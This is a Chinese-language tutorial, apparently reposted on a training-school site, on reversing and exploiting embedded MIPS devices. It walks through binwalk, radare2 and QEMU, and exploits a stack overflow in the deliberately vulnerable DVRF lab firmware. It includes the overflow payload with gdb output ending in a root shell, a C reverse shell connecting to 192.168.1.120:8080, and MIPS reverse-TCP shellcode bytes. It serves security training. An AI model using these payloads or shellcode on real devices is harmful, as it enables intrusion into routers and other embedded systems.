更多课程 选择中心

嵌入式培训
达内IT学院

400-111-8989

逆向与利用嵌入式设备:软件栈

  • 发布:嵌入式培训
  • 来源:嵌入式学习笔记
  • 时间:2018-03-12 13:57

在过去的几个月中,我一直在培训人们利用嵌入式设备进行攻击。 我的幻灯片无法提供足够的信息,所以我想把所有东西都写出来供人们在线消化。 以下博文是“第1部分”,它将向读者介绍嵌入式设备的软件方面。 我决定首先涵盖软件,因为大部分漏洞都存在于软件堆栈中,不论二进制应用程序还是驱动程序。 第2部分将介绍硬件堆栈,重点介绍JTAG是如何实际工作的以及如何利用修改硬件来绕过密码保护或提取烧入目标器件的信息。


使用binwalk来提取固件

一旦你能够获得嵌入设备中的固件文件,你就会想看看里面有什么。 幸运的是有一个名为Binwalk的开源工具,它可以解析目标二进制文件中可以找到的魔术字节。

 

为了给出这一切的可视化表示,我将使用Binwalk提取DVRFv0.3。

 

 

使用binwalk -e file_name 来提取镜像的内容

 

 

binwalk检测到的结构以及在其中的的偏移量

 

在vim中使用xxd显示由binwalk为TRX和gzip提供的偏移量匹配。 (使用vim打开DVRF_v03.bin,然后输入:%!xxd)

 

 

交叉引用binwalk使用的TRX结构。

 

 

在vim中使用xxd来交叉引用binwalk检测到的SquashFS结构的偏移量。

 


了解目标的ASM结构

如果您对目标设备的ASM没有经验,可以使用C和反汇编器快速学习它。 在我看来,以下是学习新的ASM时首先要看的最重要的事情:
          

参数传递         

函数入口和返回         

堆栈使用          

函数调用          

分支条件

 

在这篇文章中,我将展示我是如何学习MIPS-I ASM的,只是使用反汇编和C语言。


参数传递

这是一个非常简单的C应用程序,它将两个(int)参数传递给另一个函数返回两个整数之和。


#include <stdio.h>

 

// Function that calls another function with some arguments.

// This will be below the max amount of a(x) registers.

// by b1ack0wl

 

void main(){

 

int a = 0;

int b = 0x41;

 

pass_args_to_me(a,b);

}

 

int pass_args_to_me(int a, int b){

 

return (a+b);

}


一旦交叉编译完你的C应用程序,将它扔进一个反汇编器。使用任何你熟悉的反编译器,这里我使用radare2



当我们查看图形视图时,我们可以按g然后a再查看pass_args_to_me函数。



确保考虑传递给函数的参数数量大于可用参数寄存器数量的情况。 例如MIPS利用$ a0 - $ a3,让我们修改我们上面写的代码,使其具有4个以上的参数。


#include <stdio.h>

 

// Function that calls another function with some arguments.

// Passing more than 4 arguments to see what happens

// by b1ack0wl

 

void main(){

 

int a = 0;

int b = 1;

int c = 2;

int d = 3;

int e = 4;

int f = 5;

int g = 6;

int h = 7;

int i = 8;

int j = 9;

 

pass_args_to_me(a,b,c,d,e,f,g,h,i,j);

}

 

 

int pass_args_to_me(int a, int b, int c ,int d, int e, int f, int g ,int h, int i, int j){

 

return (a+b+c+d+e+f+g+h+i+j);

}


就像以前一样,我们将使用交叉编译器进行编译,然后放入Radare2来查看编译器生成的内容



所以现在我们知道如果有超过4个参数被传递给一个函数,那么多出的参数将被推入栈中。


函数入口,调用和返回

在MIPS和基于ARM的处理器上需要注意的一件事是专用返回地址寄存器。 无论何时在MIPS上执行“跳转和链接”指令,都要知道该寄存器的地址将是指令指针的当前地址加上8个字节。 8字节的偏移量是由于流水线操作引起的,因为PC + 4将在跳转发生之前执行。 让我们编译一个在最终返回main()之前调用2个或更多函数的应用程序。


#include <stdio.h>

 

// Function callception!

// This is to analyze what happens when a function calls a function.

// by b1ack0wl

 

int call_one(); // declaration

int call_two(); // declaration

 

void main(){

int a = 0;

int b = 1;

call_one(a,b);

}

 

int call_one(int a, int b){

call_two();

return (a+b);

}

 

int call_two(){

return 1;

}


所以请记住,一个调用(JAL)会用$ PC + 8填充返回地址寄存器,但如果被调用函数调用另一个函数,$ ra寄存器将被覆盖,并且被调用者的地址将会丢失。 为防止这种情况,函数输入时首先将返回地址保存到堆栈中。 有了这些知识,我们将看到除了call_two之外,所有函数都会将返回地址保存到堆栈中,因为该函数不会调用任何其他函数。



通过分析函数入口,我们可以预测函数是否会调用另一个函数。 这在尝试查找位于堆栈中的内存破坏漏洞时非常有用。


分支条件

研究人员在分析新体系结构时需要了解的最重要的一件事是处理器如何处理分支。 就像以前一样,我们将利用C和Radare2来分析这一点。

 

下面的应用程序将从argv [1]中获取输入,并将其作为int进行转换,并查看它是否小于5。


#include <stdio.h>

 

// What if....

// This is to analyze how basic branching works on MIPS

// by b1ack0wl

 

int main(int argc, char **argv[]){

if (argc < 2 ){

    printf("Usage: %s number", argv[0]);

    return 1;

}

 

int a = atoi(argv[1]); // cast argv[1] as an integer

if (a < 5) {

    printf("%i is less than 5", a);

}

else{

    printf("%i is greater than 5", a);

}

return 0;

}


现在我们来看看编译器会产生什么来满足我们的条件。



每当我们做比较时,我们就可以看到slti指令的用法。 由于大量的比较运算符和类型,条件语句将成为学习新汇编语言中最耗时的部分。 请参考C参考文献,以确保您分析了生成条件分支的所有不同方法。 例如在MIPS中,有些条件语句使用可能被滥用的有符号或无符号立即数。

 

现在你已经看到了一些例子,只要你有一个编译器和反汇编器,你就应该有能力来学习任何处理器的架构和汇编。 如果你不这样做,那么你将不得不以更加艰难的方式去做,阅读处理器的开发者手册,最终设计你自己的汇编器,模拟器和反汇编器。


GPL

如果您正在审计使用开源软件的设备,该软件可能会根据通用公共许可证进行许可。 如果是这样,那么简而言之,如果开发人员使用代码并编译它,则必须提供源代码! 如果开发者拒绝开源,那么他们就违反了GPL。

 

考虑到这一点,许多路由器或其他小型设备都使用Linux(或FreeRTOS),Busybox和其他利用GPL的开源软件。 因此,在开始反汇编之前,尝试使用短语“$供应商源代码”或“$产品源代码”进行简单的Google搜索。 以下是我只是通过Google搜索发现的一些示例源代码库。
       Samsung Open Source Release Center
       ASUS RT-AC68U Source Code
       Belkin Open Source Code Center 
       GPL Code Center - TP-LINK

 

现在您应该了解如何轻松利用Google或您最喜爱的搜索引擎来查找您正在审计设备的源代码。


利用

本节将假设读者具有利用基于内存损坏的漏洞的基本知识。 如果没有,请参阅本页底部的SmashtheStack参考。 SmashtheStack是我个人开始进入x86开发之旅的地方。

 

如果您正在审计基于MIPS的Linux嵌入式设备,那么在分析您的目标二进制文件时,您已经看到以下几点:


# cat /proc/11554/maps

00400000-00402000 r-xp 00000000 1f:02 218        /pwnable/ShellCode_Required/socket_bof

00441000-00442000 rw-p 00001000 1f:02 218        /pwnable/ShellCode_Required/socket_bof

2aaa8000-2aaad000 r-xp 00000000 1f:02 440        /lib/ld-uClibc.so.0

2aaad000-2aaae000 rw-p 2aaad000 00:00 0

2aaec000-2aaed000 r--p 00004000 1f:02 440        /lib/ld-uClibc.so.0

2aaed000-2aaee000 rw-p 00005000 1f:02 440        /lib/ld-uClibc.so.0

2aaee000-2aafe000 r-xp 00000000 1f:02 445        /lib/libgcc_s.so.1

2aafe000-2ab3d000 ---p 2aafe000 00:00 0

2ab3d000-2ab3e000 rw-p 0000f000 1f:02 445        /lib/libgcc_s.so.1

2ab3e000-2ab79000 r-xp 00000000 1f:02 444        /lib/libc.so.0

2ab79000-2abb9000 ---p 2ab79000 00:00 0

2abb9000-2abba000 rw-p 0003b000 1f:02 444        /lib/libc.so.0

2abba000-2abbe000 rw-p 2abba000 00:00 0

7f81e000-7f833000 rwxp 7f81e000 00:00 0          [stack]


正如你所看到的堆栈和堆区域被标记为可执行的,所以NX不用担心。 尽管堆栈是可执行的,但为了获得代码执行,还需要一些ROP操作。 您还会发现ASLR并未在大多数设备上实现,因此我们不必首先找到信息泄露错误。


仿真

使用Binwalk提取固件,你就会想要模拟二进制文件来分析崩溃。我个人使用可在解压缩固件的chroot环境中启动的QEMU的静态内置版本。这使exp开发人员能够访问与嵌入式设备使用的相同libc库,因此唯一会改变的是libc地址。有时需要创建一个完整的QEMU系统,因为主机可能不支持程序正在使用的IO调用导致崩溃。

 

如果您使用的是基于Debian的Linux Distro,那么您可以通过apt-get来安装QEMU。 sudo apt-get install qemu-user-static qemu-system- *

 

一旦你安装了QEMU,你就需要将二进制文件复制到解压缩固件的根目录下。在这个例子中,我们将使用DVRF_v03的MIPS Little Endian模拟器。 cpwhich qemu-mipsel-static ./

 

我们将使用pwnable binary / pwnable / Intro / stack_bof_01并为它制作一个小小的漏洞。然后,我们将把我们的有效载荷粘贴到实际设备上,以查看发生了什么。

 

二进制的源代码如下:


#include <string.h>

#include <stdio.h>

 

//Simple BoF by b1ack0wl for E1550

 

int main(int argc, char **argv[]){

  char buf[200] ="\0";

  if (argc < 2){

    printf("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r\n");

    exit(1);

    }

    printf("Welcome to the first BoF exercise!\r\n\r\n");

    strcpy(buf, argv[1]);

    printf("You entered %s \r\n", buf);

    printf("Try Again\r\n");

    return 0x41; // Just so you can see what register is populated for return statements

}

 

void dat_shell(){

  printf("Congrats! I will now execute /bin/sh\r\n- b1ack0wl\r\n");

  system("/bin/sh -c");

  exit(0);

}


所以我们有一个简单的基于栈的缓冲区溢出漏洞。 目标是执行函数“dat_shell”,但在分析ELF文件时,我们看到以下内容:
   Entry point address: 0x00400630

 

由于我们的载荷中不能有NULL字节,我们将不得不依赖于执行部分覆盖。 由于这是Little Endian,我们可以覆盖3个最低字节,同时将最高字节设置为NULL。 如果架构是Big Endian,这种技术将无法工作。

 

为了演示模拟你的环境的能力,我将制作有效载荷,同时展示如何获取所有加载库的模拟地址。


b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"


然后,我们将GDB本地附加到端口1234


(gdb) target remote 127.0.0.1:1234

127.0.0.1:1234: Connection timed out.

(gdb) target remote 127.0.0.1:1234

Remote debugging using 127.0.0.1:1234

0x767b9a80 in ?? ()

(gdb) c

Continuing.

 

Program received signal SIGSEGV, Segmentation fault.

0x41386741 in ?? ()

(gdb) i r

          zero       at       v0       v1       a0       a1       a2       a3

 R0   00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000

            t0       t1       t2       t3       t4       t5       t6       t7

 R8   81010100 7efefeff 37674136 41386741 68413967 31684130 41326841 68413368

            s0       s1       s2       s3       s4       s5       s6       s7

 R16  00000000 00000000 00000000 ffffffff 76fff634 0040059c 00000002 004007e0

            t8       t9       k0       k1       gp       sp       s8       ra

 R24  766e65e0 766ef270 00000000 00000000 00448cd0 76fff558 37674136 41386741

            sr       lo       hi      bad    cause       pc

      20000010 0000000a 00000000 41386740 00000000 41386741

           fsr      fir

      00000000 00739300


我们看到PC被设置为A8gA,它位于偏移204,它告诉我们我们保存的指令位置是208字节,但我们只会覆盖这4个字节中的3个。

 

再试一次,使最终目标$RA 0x00424242。


b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7BBB"


(gdb) target remote 127.0.0.1:1234

Remote debugging using 127.0.0.1:1234

 

Program received signal SIGTRAP, Trace/breakpoint trap.

0x767b9a80 in ?? ()

(gdb) c

Continuing.

 

Program received signal SIGSEGV, Segmentation fault.

0x00424242 in ?? ()

(gdb) i r

          zero       at       v0       v1       a0       a1       a2       a3

 R0   00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000

            t0       t1       t2       t3       t4       t5       t6       t7

 R8   81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132

            s0       s1       s2       s3       s4       s5       s6       s7

 R16  00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0

            t8       t9       k0       k1       gp       sp       s8       ra

 R24  766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 00424242

            sr       lo       hi      bad    cause       pc

      20000010 0000000a 00000000 00424242 00000000 00424242

           fsr      fir

      00000000 00739300

 

(gdb) disass dat_shell

      Dump of assembler code for function dat_shell:

         0x00400950 <+0>:   lui gp,0x5          /*

         0x00400954 <+4>:   addiu   gp,gp,-31872           Skip over

         0x00400958 <+8>:   addu    gp,gp,t9      */

         0x0040095c <+12>:  addiu   sp,sp,-32 // This is where we need to jump to

         0x00400960 <+16>:  sw  ra,28(sp)

         0x00400964 <+20>:  sw  s8,24(sp)

         0x00400968 <+24>:  move    s8,sp

         0x0040096c <+28>:  sw  gp,16(sp)


我们希望跳过修改$ gp的指令,因为应用程序会崩溃。 所以我们将跳转到0x0040095c。

b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\\x5c\\x09\\x40'`"

Welcome to the first BoF exercise!

 

You entered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7\   @

Try Again

Congrats! I will now execute /bin/sh

- b1ack0wl

我们甚至可以设置一个断点来确保我们跳转到函数内的正确偏移处。

(gdb) target remote 127.0.0.1:1234

Remote debugging using 127.0.0.1:1234

warning: Unable to find dynamic linker breakpoint function.

GDB will be unable to debug shared library initializers

and track explicitly loaded dynamic code.

0x767b9a80 in ?? ()

 

(gdb) break *0x0040095c

Breakpoint 1 at 0x40095c

 

(gdb) c

Continuing.

warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libgcc_s.so.1.

Use the "info sharedlibrary" command to see the complete listing.

Do you need "set solib-search-path" or "set sysroot"?

 

Breakpoint 1, 0x0040095c in dat_shell ()

(gdb) i r

          zero       at       v0       v1       a0       a1       a2       a3

 R0   00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000

            t0       t1       t2       t3       t4       t5       t6       t7

 R8   81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132

            s0       s1       s2       s3       s4       s5       s6       s7

 R16  00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0

            t8       t9       k0       k1       gp       sp       s8       ra

 R24  766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 0040095c

            sr       lo       hi      bad    cause       pc

      20000010 0000000a 00000000 00000000 00000000 0040095c

           fsr      fir

      00000000 00739300

(gdb) x/3i $pc

=> 0x40095c <dat_shell+12>: addiu   sp,sp,-32

   0x400960 <dat_shell+16>: sw  ra,28(sp)

   0x400964 <dat_shell+20>: sw  s8,24(sp)

我们采用精确的有效载荷到嵌入式设备,并且漏洞应该按预期工作。

\# cd /

\# ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\\x5c\\x09\\x40'`"

tered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag7\      @

Try Again

Congrats! I will now execute /bin/sh

- b1ack0wl

id

uid=0(root) gid=0(root)

要在gdb中查找导入的库的地址,需要执行以下操作:

(gdb) set solib-search-path /<path to>/_DVRF_v03.bin.extracted/squashfs-root/lib/

 

(gdb) info sharedlibrary

From        To          Syms Read   Shared Object Library

0x76767b00  0x76774c20  Yes (*)     /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libgcc_s.so.1

0x766eb710  0x7671c940  Yes (*)     /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libc.so.0

0x767b9a80  0x767bd800  Yes (*)     /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/ld-uClibc.so.0

要获得基地址,您需要从表格中的“From”地址中减去Entry Point地址。 例如,通过执行以下操作可以找到libc.so.0的基址:

b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib $ readelf -a ./libc.so.0 | more

ELF Header:

  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00

  Class:                             ELF32

  Data:                              2's complement, little endian

  Version:                           1 (current)

  OS/ABI:                            UNIX - System V

  ABI Version:                       0

  Type:                              DYN (Shared object file)

  Machine:                           MIPS R3000

  Version:                           0x1

  Entry point address:               0x6710  // Address to subtract代码

libc.so.0 = 0x766eb710 - 0x6710 = 0x766E5000

 

然后可以利用Radare2反编译库给出指令的偏移。



因此,一旦建立了ROP链,您只需要替换可通过cat / proc / [pid] / maps找到的libc地址。 基地址就是你需要的。 如果ROP在QEMU工作,它有99%的可能性在实际设备上工作。


DVRFv0.3 socket_bof Solution

在设计DVRF项目中的练习时,我想包括我亲眼所见的最常见类型的漏洞。 最常见的是基于堆栈的缓冲区溢出,如果您不熟悉ASM,这可能有点难度。

 

下面的漏洞利用代码需要花费大约8个小时才能完成,因为我仍然在学习MIPS汇编,但是这个漏洞利用在QEMU中制作,然后交给Linksys设备。



由于堆栈是可执行的,并且库地址不会移动,我们可以对我们的ROP链进行硬编码,但最终ROP链的想法是将$SP内的值移动到可以调用的寄存器中。 硬编码堆栈地址在我看来并不可靠,我宁愿使用偏移量代替。 下面是pwnable二进制的map输出。

# ./socket_bof 8888 &

Binding to port 8888

11554

 

# cat /proc/11554/maps

00400000-00402000 r-xp 00000000 1f:02 218        /pwnable/ShellCode_Required/socket_bof

00441000-00442000 rw-p 00001000 1f:02 218        /pwnable/ShellCode_Required/socket_bof

2aaa8000-2aaad000 r-xp 00000000 1f:02 440        /lib/ld-uClibc.so.0

2aaad000-2aaae000 rw-p 2aaad000 00:00 0

2aaec000-2aaed000 r--p 00004000 1f:02 440        /lib/ld-uClibc.so.0

2aaed000-2aaee000 rw-p 00005000 1f:02 440        /lib/ld-uClibc.so.0

2aaee000-2aafe000 r-xp 00000000 1f:02 445        /lib/libgcc_s.so.1

2aafe000-2ab3d000 ---p 2aafe000 00:00 0

2ab3d000-2ab3e000 rw-p 0000f000 1f:02 445        /lib/libgcc_s.so.1

2ab3e000-2ab79000 r-xp 00000000 1f:02 444        /lib/libc.so.0

2ab79000-2abb9000 ---p 2ab79000 00:00 0

2abb9000-2abba000 rw-p 0003b000 1f:02 444        /lib/libc.so.0

2abba000-2abbe000 rw-p 2abba000 00:00 0

7f81e000-7f833000 rwxp 7f81e000 00:00 0          [stack]

地址0x2ab3e000是libc可执行区域的基址,因此这是在QEMU漏洞利用时在设备上定位的唯一值。

 

整个ROP链与Radare2的/R功能一起使用。例如,我正在为我的上一个ROP小工具寻找“move t9,a1”,并通过执行以下操作来找到它:

[0x00017ae0]> /R move t9, a1

  0x0001f078           4c0082ac  sw v0, 0x4c(a0)

  0x0001f07c           21c8a000  move t9, a1

  0x0001f080           4c008424  addiu a0, a0, 0x4c

  0x0001f084           08002003  jr t9

  0x0001f088           2128c000  move a1, a2

 

  0x0001fbc8           380082ac  sw v0, 0x38(a0)

  0x0001fbcc           21c8a000  move t9, a1       // Offset within Libc that was used for Gadget #4

  0x0001fbd0           38008424  addiu a0, a0, 0x38

  0x0001fbd4           08002003  jr t9

  0x0001fbd8           2128c000  move a1, a2

 

[0x00017ae0]>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

 

int main(void) {

    int sockfd;

    int lportno = 8080;    // listener port

    struct sockaddr_in serv_addr;

    char *const params[] = {"/bin/sh",NULL};

    char *const environ[] = {NULL};

 

    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    serv_addr.sin_family = AF_INET; // 2

    serv_addr.sin_addr.s_addr = inet_addr("192.168.1.120"); // RHOST

    serv_addr.sin_port = htons(lportno);

    connect(sockfd, (struct sockaddr *) &serv_addr, 16);

 

    // redirect stdout and stderr

    dup2(sockfd,0); // stdin

    dup2(0,1); // stdout

    dup2(0,2); // stderr

    execve("/bin/sh",params,environ);

}

注意:最初我打算编写自己的shellcode,但被通知一个名为Bowcaster的项目,该项目已经有了shellcode。为了展示这个过程,我将置C代码于独立位置。

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

 

int main(void) {

    int sockfd;

    int lportno = 8080;    // listener port

    struct sockaddr_in serv_addr;

    char *const params[] = {"/bin/sh",NULL};

    char *const environ[] = {NULL};

 

    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    serv_addr.sin_family = AF_INET; // 2

    serv_addr.sin_addr.s_addr = inet_addr("192.168.1.120"); // RHOST

    serv_addr.sin_port = htons(lportno);

    connect(sockfd, (struct sockaddr *) &serv_addr, 16);

 

    // redirect stdout and stderr

    dup2(sockfd,0); // stdin

    dup2(0,1); // stdout

    dup2(0,2); // stderr

    execve("/bin/sh",params,environ);

}

如果看一下Bowcaster Reverse_TCP shellcode,会看发现上面的C代码和Bowcaster Shellcode是相同的。

hellcode = string.join([

        "\xfa\xff\x0f\x24", # li    t7,-6

        "\x27\x78\xe0\x01", # nor   t7,t7,zero

        "\xfd\xff\xe4\x21", # addi  a0,t7,-3

        "\xfd\xff\xe5\x21", # addi  a1,t7,-3

        "\xff\xff\x06\x28", # slti  a2,zero,-1

 

    # Socket SYSCall

        "\x57\x10\x02\x24", # li    v0,4183

        "\x0c\x01\x01\x01", # syscall   0x40404

 

        "\xff\xff\xa2\xaf", # sw    v0,-1(sp)

        "\xff\xff\xa4\x8f", # lw    a0,-1(sp)

        "\xfd\xff\x0f\x3c", # lui   t7,0xfffd

        "\x27\x78\xe0\x01", # nor   t7,t7,zero

        "\xe0\xff\xaf\xaf", # sw    t7,-32(sp)

 

    # Connect back port 8080

        "\x1f\x90\x0e\x3c", # lui t6,0x901f

        "\x1f\x90\xce\x35", # ori t6,t6,0x901f

        "\xe4\xff\xae\xaf", # sw    t6,-28(sp)

 

    # IP Address

        IP_3+IP_4+"\x0e\x3c",   # lui       t6,<ip>

        IP_1+IP_2+"\xce\x35",   # ori       t6,t6,<ip>

 

        "\xe6\xff\xae\xaf", # sw    t6,-26(sp)

        "\xe2\xff\xa5\x27", # addiu a1,sp,-30

        "\xef\xff\x0c\x24", # li    t4,-17

        "\x27\x30\x80\x01", # nor   a2,t4,zero

 

    # Socket Connect SYSCALL

        "\x4a\x10\x02\x24", # li    v0,4170

        "\x0c\x01\x01\x01", # syscall   0x40404

 

 

        "\xfd\xff\x0f\x24", # li    t7,-3

        "\x27\x78\xe0\x01", # nor   t7,t7,zero

        "\xff\xff\xa4\x8f", # lw    a0,-1(sp)

        "\x21\x28\xe0\x01", # move  a1,t7

 

    # Dup2 SYSCAL

        "\xdf\x0f\x02\x24", # li    v0,4063

        "\x0c\x01\x01\x01", # syscall   0x40404

 

 

        "\xff\xff\x10\x24", # li    s0,-1

        "\xff\xff\xef\x21", # addi  t7,t7,-1

        "\xfa\xff\xf0\x15", # bne   t7,s0,68 <dup2_loop>

        "\xff\xff\x06\x28", # slti  a2,zero,-1

        "\x62\x69\x0f\x3c", # lui   t7,0x6962

        "\x2f\x2f\xef\x35", # ori   t7,t7,0x2f2f

        "\xec\xff\xaf\xaf", # sw    t7,-20(sp)

        "\x73\x68\x0e\x3c", # lui   t6,0x6873

        "\x6e\x2f\xce\x35", # ori   t6,t6,0x2f6e

        "\xf0\xff\xae\xaf", # sw    t6,-16(sp)

        "\xf4\xff\xa0\xaf", # sw    zero,-12(sp)

        "\xec\xff\xa4\x27", # addiu a0,sp,-20

        "\xf8\xff\xa4\xaf", # sw    a0,-8(sp)

        "\xfc\xff\xa0\xaf", # sw    zero,-4(sp)

        "\xf8\xff\xa5\x27", # addiu a1,sp,-8

 

    # Execve SYSCALL

        "\xab\x0f\x02\x24", # li    v0,4011

        "\x0c\x01\x01\x01"  # syscall   0x40404

    ], '')

首先安装套接字(系统调用w /值4183)

        连接到套接字(Syscall w / Value 4170)

        为标准输入/标准输出重定向调用dup2(系统调用,值为4063)

        使用/ bin / sh调用Execve(系统调用,值为4011)


可以通过查看Radare2中反汇编来验证系统调用。 我们将继续验证Socket系统调用。


我们可以看到值4183的系统调用是对C函数socket()的调用。 所有其他系统调用都以相同的方式进行了验证。

 

另请注意,shellcode在用户态QEMU中不能正常工作。 你将看到的这个shellcode的是一个带有错误消息的TCP连接而不是交互式shell。 在实际设备上运行时的shellcode按预期执行。

 

分析运行期间执行的指令的一种简单方法是利用Qira。 下图显示了Qira如何用于分析二进制文件而无需设置断点。

 

 

Qira基于Web的输出,显示所有已执行的指令和系统调用。

 

总而言之,有时候在制作漏洞利用的时候重新发明轮子并不是必要的,但是设计自己的shellcode和shellcode编码器是开发漏洞的好方法。 但在决定从头开始设计一切之前,一定要先利用所有可用的工具。 利用现有的shellcode并没有什么错,特别是如果它最终会正常工作,但一定要在使用它之前审计你在网上找到的任何shellcode。

预约申请免费试听课

填写下面表单即可预约申请免费试听!怕钱不够?可就业挣钱后再付学费! 怕学不会?助教全程陪读,随时解惑!担心就业?一地学习,可全国推荐就业!

上一篇:嵌入式开源软件的十大弊端
下一篇:学习嵌入式小伙伴的经典书籍

嵌入式工程师离不开的的IC设计软件

工程师用到的PCB设计软件你用过几个?

看嵌入式Linux设备驱动module_init 的神奇之处!

嵌入式干货分享之你不可不知的嵌入式领域中的各种文件系统

  • 扫码领取资料

    回复关键字:视频资料

    免费领取 达内课程视频学习资料

  • 搜索抖音号

    搜索抖音号:1821685962

    免费领取达内课程视频学习资料

Copyright © 2021 Tedu.cn All Rights Reserved 京ICP备08000853号-56 京公网安备 11010802029508号 达内时代科技集团有限公司 版权所有

选择城市和中心
黑龙江省

吉林省

河北省

湖南省

贵州省

云南省

广西省

海南省